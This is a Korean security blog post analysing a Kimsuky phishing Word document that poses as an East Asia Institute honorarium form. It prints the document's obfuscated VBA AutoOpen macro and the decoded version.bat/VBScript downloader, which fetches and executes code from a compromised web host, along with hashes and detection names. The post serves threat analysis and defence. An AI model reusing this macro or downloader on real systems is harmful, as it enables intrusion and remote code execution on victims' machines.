꿈을꾸는 파랑새

오늘은 북한 해킹 단체 Kimsuky(김수키)에서 만들어서 배포하고 있으면서 대북 관계자, 북한 민간 전문가 등을 노리는 워드 악성코드입니다.
일단 기본적으로 제목은 동아시아연구원 사례비 지급 서식(East Asia Research Institute Compensation Payment Form)으로 돼 있으며 보면 
해쉬값은 다음과 같습니다.
파일명: 동아시아연구원 사례비 지급 서식.docx
사이즈:329 KB
CRC32:00429d8a
MD5:bf41074e39bb3abbe4e4640401e7e655
SHA-1:326575e1df8e63ccc3f8283c6bf01b186dac7088
SHA-256:b9dcf7fe7e8ba30d363a19c2c43fc3eea93d281b10f6ee89cffe2a3e533af442
SHA-512:622c93e4d253da54c01cd0a20ff5ca115c3e1f3b4b00900494a82952a86d3504f139a750c61afa8db1cff5b32e8690eaf5694282e139dc0e13bd0899fdb5c610

김수키 Kimsuky 동아시아연구원 사례비 지급 서식 실행
김수키 Kimsuky 동아시아연구원 사례비 지급 서식 실행

그리고 언제나 실행을 하면 매크로 때문에 실행이 안 되니 매크로를 실행해달라고 합니다.

콘텐츠 불러오기 오류 발생
호환성문제로 콘테츠를 올바르게 불러올수 없습니다.
문제를 해결하시려면,아래의 조치들을 체크하세요
Microsoft Office 제품군을 이용하여 문서를 엽니다.
테스크톱 또는 랩톱 사용
문서 상단의 "편집사용"버튼을 클릭 하시면 "콘텐츠 사용" 버튼을 클릭하세요.
라고 돼 있고 보안 경고 매크로를 사용할 수 없도록 설정했습니다. 콘텐츠 사용

동아시아연구원 사례비 지급 서식 악성코드 내용
동아시아연구원 사례비 지급 서식 악성코드 내용

그리고 실행을 하면 다음과 같은 내용이 있는 것을 확인을 할 수가 있습니다.
Global NK 인터뷰
지급액:일금 삼십만원 정 (\ 300,000) *세금 포함 금액
지급내용:Global NK 인터뷰
일자:2022년 12월 15일 (화)
※ 기타소득세 원천징수 신고를 위해 필요한 개인정보 수집 외 다른 목적으로는 사용하지 않습니다.
성명  
소속/지위  
주민등록번호
이 메 일
전화번호
입금계좌(수령인명의)
은행명:
계좌번호: 

동아시아연구원 사례비 지급 서식 악성코드 매크로
동아시아연구원 사례비 지급 서식 악성코드 매크로

같이 돼 있으며 일단은 Global NK 인터뷰 관련 사례금 지급 관련 내용이며 계좌번호, 주민등록번호, 이름 등을 입력하는 것을 보아서는 대북 관련 있는 분들을 대상으로 하지 않을까 생각이 됩니다.
악성코드 매크로 내용은 다음과 같습니다.

Sub Reserve(pth)
    
    myword = "b><scr"
    mycomm = "ect(""Mi"
    myfath = "infotechkorea(.)com/gnuboard4/adm/cmg/upload"
    mymoth = "T"", ""h"
    mycom1 = "teOb"
    mycom2 = my(c)om1 & "j"
    mymans = "tp"
    mycom3 = "P""):ms.o"
    mycom1 = "ea" (&) mycom2 & mycomm & "c"
    mycomm = "ro(s)o"
    mytemp = "er(y)="
    myfats = mymans (&) ":/"
    mycom2 = "t(.)XM"
    mynums = "1""(,) F"
    comm1 = "s = Cr" (&) mycom1 (&) mycomm & "f"
    mycomm = "LH"
    comm2 = comm1 (&) mycom2 (&) mycomm (&) "TT" (&) mycom3
    mycomm = "et m" & comm2 (&) "pen ""G" (&) "E" (&) mymoth
    myfath = myfats (&) "/" (&) myfath
    mycom1 = mycomm (&) "t" (&) myfath
    mymens = "me Ne"
    myname = "cr(i)"
    mywome = "ist(.)p"
    mymems = "xt:S" (&) mycom1 (&) "/l" & mywome
    mymoth = "s.S"
    com1 = "r(r)o"
    mycomm = "n E"
    com2 = "?q"
    com3 = "r Re"
    mymans = "O" (&) mycomm (&) com1 (&) com3 (&) "su" & mymens
    com3 = "guag"
    mycom(m) = "t"">" (&) Chr(13) (&) mymans (&) mymems & "hp"
    myfath = "ecut"
    mycom(1) = "u" (&) mytemp (&) mynums & "als"
    mytemp = mycom1 (&) "e:m" (&) mymoth & "en"
    mymot(h) = "t)" & Chr(13) (&) "</sc"
    mycom(1) = myname & "p" (&) mycomm & com2 & mytemp
    com(2) = "pt la"
    myoks = "crip"
    com(1) = "BS" (&) mycom1 (&) "d:E"
    mytemp = com1 & "x" (&) myfath & "e(m"
    com1 = "e=""V"
    mycomm = "cri" & com2 (&) "n" & com3 & com1 & mytemp & "s.re"
    com1 = "></j"
    Documents.Add
    com3 = "t"
    com2 = "ob(>)"
    com3 = com3 (&) com1( &) com2
    Set ad = ActiveDocument
    myfath = "5,1" (&) Chr(13) & "ws"
    myalls = "b><s" (&) mycomm & "spon"
    mems = "sf""" & Chr(13) (&) "<jo" & myalls & "s"
    mytemp = "eTe"
    mems = "~f0?." & "w" (&) mems & mytemp & "x" & mymoth
    myalls = "xe """
    myoks = "de 1" & myfath (&) myoks & "t.e" & myalls & "%" & mems
    myalls = "mo" & myoks (&) "rip" & com3
    
    ad.Range.Text (=) myalls
    fval (=) wdFormatText
    ad.SaveAs2 FileName:(=)pth, FileFormat:=fval
    ad.Close
End Sub

Sub Review(vmod)
    On Error Resume Next
    Set wnd( =) ActiveWindow
    Set sel( =) Selection
    wnd.View.(S)eekView = vmod
    rval = Fal(s)e
    sel.WholeS(t)ory
    hm = Fa(l)se
    sel.Font.H(i)dden = hm
    rval (=) True
    If rval (=) True Then
        sel(.)Collapse
    End If
End Sub

Sub ViewContent()
    Mode( =) 10
    Do Until Mode < 0
        Review (Mode)
        Mode (= )Mode - 1
    Loop
End Sub

Sub AutoOpen()
    On Error Resume Next
    myject2 = "32(_)pr"
    myject = "m(t)s"
    pw = "1qaz2wsx"
    mysject = "wi(n)mg"
    mysject1 = "w(i)n"
    myject = mysject (&) myject (&) ":" (&) mysject1
    Weed pw
    myject3 = "o(c)ess"
    myject = myject (&) myject2 (&) myject3
    Set adom = ActiveDocument
    ins = "(w)"
    ts = "x(e) //e:vb"
    With adom(.)Shapes("pic")
        cd (=) " //b "
        .Fill.S(o)lid
        mt (=0 "script"
        Set wm (= )GetObject(myject)
        ts = ts (&) mt
        ins = ins (&) mt (&) ".e"
        pth = Templates(1).Path (&) "\version.b"
        pth = pth (&) "at"
        cd = ins & ts( &) cd
        .Delete
    End With
    ViewContent
    Reserve pth
    ts1 = "//e:vb(s)cr"
    mt1 (=) "ipt"
    cd1 = " //b "
    shpe_reg = "cm"
    depStep = shpe_reg (&) "d.ex"
    shpe_reg = "e (/)c "
    depStep = depStep (&) shpe_reg
    bigstr = depStep (&) pth
    tele (big(s)tr)
    'wm.Create  (b)igstr
    'wm.Create "calc(.)exe"
    adom(.)Save
End Sub

 

그리고 악성코드를 실행하면 다음 경로에 version.bat이라는 파일을 생성합니다.

Cerbero Suite Advanced 악성코드 매크로
Cerbero Suite Advanced 악성코드 매크로

그리고 악성코드를 실행하면 다음 경로에 version.bat이라는 파일을 생성합니다.

C:\Users\사용자\AppData\Roaming\Microsoft\Templates

version.bat 내용은 다음과 같습니다.

mode 15,1
wscript.exe "%~f0?.wsf"
<job><script language="VBScript">
On Error Resume Next:Set ms = CreateObject("Microsoft.XMLHTTP"):ms.open "GET", "http://infotechkorea(.)com/gnuboard4/adm/cmg/upload/list.php?query=1", False:ms.Send:Execute(ms.responseText)
</script></job>
전체적으로 보면 다음과 같습니다.
%windir%\system32\wbem\wmiprvse.exe
%windir%\System32\svchost.exe -k WerSvcGroup
"%ProgramFiles(x86)%\Microsoft Office\Office14\WINWORD.EXE" %SAMPLEPATH%
WINWORD.EXE
%windir%\system32\DllHost.exe
%windir%\splwow64.exe
"%ComSpec%" /c %APPDATA%\Microsoft\Templates\version.bat
%CONHOST% "-555062965-1038524236-499258893-776427707-190041531775490038988279796-777742389
mode 15,1
wscript.exe "%APPDATA%\Microsoft\Templates\version.bat?.wsf"
cmd.exe

이며 최종적으로 업로드되는 주소는 다음과 같습니다.

OfficeMalScanner 본 악성코드 매크로
OfficeMalScanner 본 악성코드 매크로

이며 최종적으로 업로드 되는 주소는 다음과 같습니다.

http://infotechkorea(.)com/gnuboard4/adm/cmg/upload/list.php?query=1

2022-12-16 07:35:05 UTC 기준 바이러스토탈(Virus Total)에서 탐지하는 보안 업체들은 다음과 같습니다.
Ad-Aware:VB.Heur.EmoooDldr.4.BD43D74B.Gen
ALYac:Trojan.Downloader.DOC.Gen
Arcabit:VB.Heur.EmoooDldr.4.BD43D74B.Gen
Avira (no cloud):W97M/Hancitor.zxrni
BitDefender:VB.Heur.EmoooDldr.4.BD43D74B.Gen
Cynet:Malicious (score: 99)
Cyren:ABRisk.WPRO-8
DrWeb:Modification Of W97M.Suspicious.1
Elastic:Malicious (high Confidence)
Emsisoft:VB.Heur.EmoooDldr.4.BD43D74B.Gen (B)
eScan:VB.Heur.EmoooDldr.4.BD43D74B.Gen
ESET-NOD32:VBA/TrojanDownloader.Agent.YPU
F-Secure:Heuristic.HEUR/Macro.Downloader.PBMD.Gen
GData:VB.Heur.EmoooDldr.4.BD43D74B.Gen
Google:Detected
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.MSWord.Generic.4!c
MAX:Malware (ai Score=88)
McAfee-GW-Edition:RDN/Sadoca
Microsoft:Trojan:Win32/Leonem
NANO-Antivirus:Trojan.Ole2.Vbs-heuristic.druvzi
SentinelOne (Static ML):Static AI - Malicious OPENXML
Symantec:Trojan.Gen.NPE.C
TACHYON:Suspicious/WOX.XSR.Gen
Tencent:Trojan.MsOffice.MacroS.12461063
Trellix (FireEye):VB.Heur.EmoooDldr.4.BD43D74B.Gen
TrendMicro:TROJ_FRS.0NA103LG22
TrendMicro-HouseCall:TROJ_FRS.0NA103LG22
VIPRE:VB.Heur.EmoooDldr.4.BD43D74B.Gen
ViRobot:DOC.Z.Agent.16384.DNW
ZoneAlarm by Check Point:HEUR:Trojan.MSOffice.SAgent.gen
일단 기본적으로 북한의 해커 조직 김수키는 한국의 기자, 국회의원, 방산업체 등을 계속 공격하고 있으며 기본적으로 공식적으로 AV-TEST에서 공식적으로 인정받는 보안 프로그램을 설치해서 실시간 감시, 실시간 업데이트 그리고 마이크로소프트 오피스에서 매크로를 사용하는 것은 항상 신중하게 선택을 해야 하면
그리고 이메일도 신뢰성 있는 사람을 해킹해서 이메일 보낼 수가 있으며 항상 조심하며 기본적인 보안 수칙을 지키는 것이 안전하게 컴퓨터를 사용하는 방법이면 귀찮더라도 백신 프로그램,윈도우 업데이트,각종 드라이버 업데이트,프로그램 최신 업데이트 그리고 프로그램에서 걸어 놓은 최소한의 보안 장치들을 해제하는 것을 하지 말아야 합니다.

그리고 해당 부분을 보니까 관리가 취약한 사이트를 해킹을 해서 사이트를 거점으로 삼는 것 같습니다. 사이트를 운영하시는 분들은 관리를 소홀히 해서는 안될 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band